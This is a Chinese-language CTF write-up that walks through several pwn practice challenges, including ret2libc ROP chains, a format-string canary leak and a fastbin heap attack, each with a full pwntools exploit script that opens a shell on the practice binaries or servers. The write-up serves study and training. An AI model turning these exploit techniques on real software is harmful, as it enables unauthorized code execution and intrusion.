以前做堆都是64位起手,这32位的堆题属实把我坑到了,我愣是拿着64位的libc怼了半天,以及毫不思索就写的0x10的chunk头
本题原题来自于C3CTF,歪国人的题目质量其实还是可以的(当然现在我也就只能写得出签到题233333
0x02D.picoctf_2018_rop chain - ret2libc 惯例的checksec
, 只开了NX保护
拖入IDA进行分析
很大很直接的一个溢出的漏洞
由于没有能直接getshell的gadget,还是考虑ret2libc:构造rop链泄露libc基址后执行system("/bin/sh")
即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *p = process('./PicoCTF_2018_rop_chain' ) e = ELF('./PicoCTF_2018_rop_chain' ) offset = 0x18 payload1 = b'A' * offset + p32(0xdeadbeef ) + p32(e.plt['puts' ]) + p32(e.sym['main' ]) + p32(e.got['puts' ]) p.recv() p.sendline(payload1) puts_addr = u32(p.recv(4 )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) payload2 = b'A' * offset + p32(0xdeadbeef ) + p32(sys_addr) + p32(0xdeadbeef ) + p32(sh_addr) p.sendline(payload2) p.interactive()
运行即可get shell
0x02E.bjdctf_2020_babyrop2 - fmtstr + ret2libc 惯例的checksec
,开了NX和canary
在gift函数中可以泄露canary
在vuln中直接就有一个溢出
那么先泄露canary再ret2libc即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *p = process('./bjdctf_2020_babyrop2' ) e = ELF('./bjdctf_2020_babyrop2' ) offset = 0x20 - 8 pop_rdi_ret = 0x400993 payload1 = '%7$p' p.recv() p.sendline(payload1) canary = int (p.recvuntil('\n' , drop = True ), 16 ) p.recv() payload2 = b'A' * offset + p64(canary) + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(e.got['puts' ]) + p64(e.plt['puts' ]) + p64(e.sym['vuln' ]) p.sendline(payload2) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload3 = b'A' * offset + p64(canary) + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) p.sendline(payload3) p.interactive()
运行即可getshell
0x02F.jarvisoj_test_your_memory - ret2text 惯例的checksec
, 只开了NX保护
拖入IDA进行分析
存在溢出
存在system函数
存在一个cat flag
字符串
那直接system(“cat flag”)就行了
构造exp如下:
运行即可得到flag
注:这道题很坑,题目给的二进制文件和部署在服务器上的二进制文件大相径庭,所以没能get shell…
0x30.[ZJCTF 2019]Login - 0x???.0ctf_2017_babyheap - Unsorted bin leak + Fastbin Attack + one_gadget 出现重复的题是真的离谱
过程见前面0x013,这里就不再赘叙了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *p = remote('node3.buuoj.cn' ,27143 ) libc = ELF('./libc-2.23.so' ) def alloc (size:int ): p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str (size)) def fill (index:int ,content ): p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str (index)) p.recvuntil('Size: ' ) p.sendline(str (len (content))) p.recvuntil('Content: ' ) p.send(content) def free (index:int ): p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str (index)) def dump (index:int ): p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str (index)) p.recvuntil('Content: \n' ) return p.recvline() alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x80 ) free(1 ) free(2 ) payload = p64(0 )*3 + p64(0x21 ) + p64(0 )*3 + p64(0x21 ) + p8(0x80 ) fill(0 ,payload) payload = p64(0 )*3 + p64(0x21 ) fill(3 ,payload) alloc(0x10 ) alloc(0x10 ) payload = p64(0 )*3 + p64(0x91 ) fill(3 ,payload) alloc(0x80 ) free(4 ) main_arena = u64(dump(2 )[:8 ].strip().ljust(8 ,b'\x00' )) - 0x58 malloc_hook = main_arena - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook' ] one_gadget = libc_base + 0x4526a alloc(0x60 ) free(4 ) payload = p64(malloc_hook - 0x23 ) fill(2 ,payload) alloc(0x60 ) alloc(0x60 ) payload = b'A' *0x13 + p64(one_gadget) fill(6 ,payload) alloc(0x10 ) p.interactive()
0x???.mrctf2020_easyrop - ret2text
从比较靠后的无人区挑了一道简单题来做2333(为了混分
惯例的checksec
,发现只开了栈不可执行保护
主函数中根据我们所输入的数字进入不同的函数,输入7则在进入相应的函数之后退出
同时我们可以发现存在能够直接getshell的gadget
虽然说几个函数都是向main中的v5上写入,但是最大的一个函数仅可以写入0x300
字节,溢出到rbp要0x310
字节
不过我们可以发现,在byby()
函数中程序会将v5看作为一个字符串,并在字符串末尾开始读入用户输入
由于hehe()
能够读入0x300字节,故我们考虑先使用hehe()
函数构造一个长度为0x2ff的字符串,再调用byby()
函数进行读入,便可以溢出控制主函数的返回地址返回至system("/bin/sh")
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote('node3.buuoj.cn' ,29482 ) p.sendline('2' ) sleep(1 ) p.send(b'A' *(0x300 -1 )+b'\x00' ) sleep(1 ) p.sendline('7' ) sleep(1 ) p.send(b'A' *0x11 +p64(0xdeadbeef )+p64(0x40072a )) p.interactive()
运行脚本即得flag